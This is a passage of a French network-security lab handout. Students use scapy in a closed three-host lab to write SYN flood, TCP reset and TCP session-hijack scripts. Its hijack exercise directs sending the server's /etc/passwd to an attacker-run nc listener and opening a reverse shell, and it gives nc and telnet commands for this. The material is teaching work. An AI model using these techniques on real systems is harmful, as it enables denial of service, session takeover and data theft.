$ /etc/init.d/inetutils-inetd restart
```

I 1.5 Sur le client : ouvrez une session telnet sur le serveur :

```
$ telnet 10.0.0.2
```

Connectez vous avec le compte `student` (mot de passe = `student`). Ceci va ouvrir un shell sur le serveur. Vous pouvez ensuite le fermer avec Ctrl+D ou `exit`.

Exercice 2 — L'attaque SYN flood

Le script `flood.py` effectue une attaque de type SYN flood sur une destination quelconque. Le script prend deux arguments : l'adresse IP et le numéro de port à attaquer. Le script envoie ensuite des paquets en continu, sans s'arrêter.

I 2.1 Écrivez le script `flood.py`.

Indications.
- En théorie, l'attaquant utilise une IP et un port source choisis aléatoirement comme nous l'avons vu en TD. Pour éviter d'envoyer des paquets vers l'extérieur, vous utiliserez une IP source aléatoire dans le réseau IP de vos 3 hôtes.
- Utilisez la fonction `randint(min, max)` du paquet `random` pour générer un nombre aléatoire dans $[min, max]$.

Pour tester votre script :

I 2.2 Sur le client : si une session telnet est ouverte, fermez la.
I 2.3 Sur scapy : lancez l'attaque sur le serveur. Le port utilisé par le service telnet est le port 23.
I 2.4 Pour vérifier que l'attaque fonctionne :
- Sur le serveur : lancez la commande suivante qui affiche l'état des connexion TCP :

  ```
  $ netstat -tna
  ```

  Vous devriez voir de nombreuses connexions dans l'état `SYN_RECV`. Ce sont des connexions non finalisées pour lesquelles seul le paquet SYN a été reçu.
- Sur le client : ouvrez une session telnet sur le serveur. Soit la commande `telnet` échoue avec un message indiquant `Connection timed out`. Soit elle se fait mais difficilement : le client reste longtemps dans l'état `Trying ...` avant d'afficher le message `Connected to ...`.

Exercice 3 — L'attaque TCP reset

Le script `reset.py` effectue une attaque de type TCP reset. Le script prend en argument l'adresse IP à attaquer et un numéro de port. Le script capture les paquets TCP en provenance de l'IP passée en argument et destinés au port passé en argument. À chaque fois qu'un tel paquet est reçu, le script envoie un paquet TCP pour mettre fin à la connexion.

I 3.1 Écrivez le script `reset.py`.

Pour tester votre script :

I 3.2 Sur le client : ouvrez une session telnet sur le serveur.
I 3.3 Sur scapy : lancez l'attaque sur le client.
I 3.4 Sur le client : vérifez que la session est bien fermée si on tape sur une touche.

Exercice 4 — Le vol de session TCP

Le script `hijack.py` effectue une attaque de vol de session TCP. Le script prend en argument l'adresse IP du serveur à attaquer. Il attend ensuite la capture d'un paquet de données telnet en destination (ou en provenance) de ce serveur avant d'envoyer son paquet d'attaque. Dans en premier temps, on utilisera l'attaque pour que l'attaquant crée le fichier `/home/student/hacked.txt` contenant la phrase *"Sabotage!!!"*.

I 4.1 Écrivez le script `hijack.py`.

Indications. Il faut utiliser la classe `Raw` de scapy pour encapsuler des données quelconques dans un PDU. Par exemple, le code ci-dessous crée un paquet TCP contenant les données telnet `ls /tmp` :

```
p = IP() / TCP(dport=23) / Raw("ls␣/tmp")
```

Pour tester votre script :

I 4.2 Sur le client : ouvrez un nouveau terminal :

```
$ xterm &
```

Dans ce nouveau terminal, ouvrez une session telnet sur le serveur.
I 4.3 Sur scapy : lancez l'attaque sur le serveur.
I 4.4 Sur le client : tapez une touche dans le terminal telnet. Ceci va déclencher l'envoi de paquets de données entre le client et le serveur et donc l'attaque. Si celle-ci s'est bien déroulée, la session telnet ne devrait plus répondre. Quel est le problème ?
I 4.5 Sur le serveur : vérifiez que le fichier `/home/student/hacked.txt` a bien été créé.

En utilisant l'attaque de vol de session, l'attaquant peut aussi forcer le serveur à entrer en contact avec lui, par exemple, pour lui faire envoyer le contenu d'un fichier. Nous allons pour cela utiliser la commande `nc` qui permet, entre autres, de démarrer un serveur TCP. Nous allons dans un premier temps nous familiariser avec cette commande :

I 4.6 Sur scapy : lancez un serveur en écoute (option `-l` pour listen) sur le port 12345 :

```
$ nc -l -p 12345
```

I 4.7 Sur le serveur : ouvrez une connexion TCP sur le port 12345 de scapy pour y envoyer des données quelconques (le mot `hello` par exemple) :

```
$ echo hello | telnet 10.0.0.100 12345
```

(Le port par défaut utilisé par la commande `telnet` est 23 mais on peut l'utiliser pour contacter n'importe quel port.)
I 4.8 Sur scapy : vérifiez que le mot `hello` a bien été écrit dans le terminal. Le serveur n'est alors plus en écoute.

Passons maintenant à la modification du script.

I 4.9 Modifiez le script `hijack.py` (il suffit juste de modifier la commande que l'attaquant fait exécuter au serveur) pour que le serveur envoie le contenu de son fichier `/etc/passwd` à l'attaquant sur le port 12345.

I 4.10 Testez votre modification. Vous suivrez les mêmes instructions qu'aux points I 4.2 à I 4.5 en démarrant au préalable, dans un nouveau terminal de scapy, un serveur TCP en écoute sur le port 12345. Si l'attaque fonctionne le contenu du fichier `/etc/passwd` du serveur devrait s'afficher dans le terminal de scapy dans lequel s'exécute `nc`.

I 4.11 Enfin, documentez vous sur le principe du shell inversé (reverse shell) et modifiez le script `hijack.py` afin qu'il fasse exécuter au serveur l'ouverture d'un shell sur le port 12345 de scapy.

Rappels sur scapy

```
# importer tout ce qu'il faut en début de fichier
from scapy.all import IP, ICMP, TCP, UDP, ...

# forger un PDU IP avec les valeurs par défaut
p = IP()

# méthode show pour afficher le contenu du PDU
p.show()

# forger des PDU avec des valeurs spécifiques
p = IP(src="10.0.2.1", dst="10.0.2.2", ttl=22)
p = TCP(sport=54, dport=789, flags="RSAFUP")  # R=RST, S=SYN, A=ACK, F=FIN, U=URG, P=PSH

# forger des PDU encapsulant d'autres PDU avec l'opérateur /
p = IP() / TCP()
p = IP() / UDP() / DNS()
p = Ether() / IP() / TCP()

# envoi d'un PDU de niveau 3
p = IP() / TCP()
send(p)

# envoi d'un PDU de niveau 2
p = Ether() / IP() / TCP()
sendp(p)

# envoi d'un PDU de niveau 3 et réception de la réponse
p = IP() / TCP()
reponse = sr1(p, timeout=2)  # on attend 2 sec. max
if reponse is None:
    print("aucune réponse reçue")
else:
    reponse.show()

# envoi d'un PDU de niveau 2 et réception de la réponse
p = Ether() / IP() / TCP()
reponse = srp1(p, timeout=2)
if reponse is None:
    ...

# tester qu'un PDU est bien présent dans un paquet
if ICMP in reponse:
    print("la réponse contient un PDU ICMP")

# accéder à un PDU
if TCP in reponse:
    pdu_tcp = reponse[TCP]
    print(pdu_tcp.flags)

# capturer des paquets
paquets = sniff(timeout=2)
print("liste des paquets capturés pendant 2 secondes :")
for paquet in paquets:
    paquet.show()

# capturer des paquets et appeler une fonction à chaque fois qu'un paquet est reçu
def affiche_paquet_recu(paquet):
    paquet.show()
sniff(timeout=10, prn=affiche_paquet_recu)
```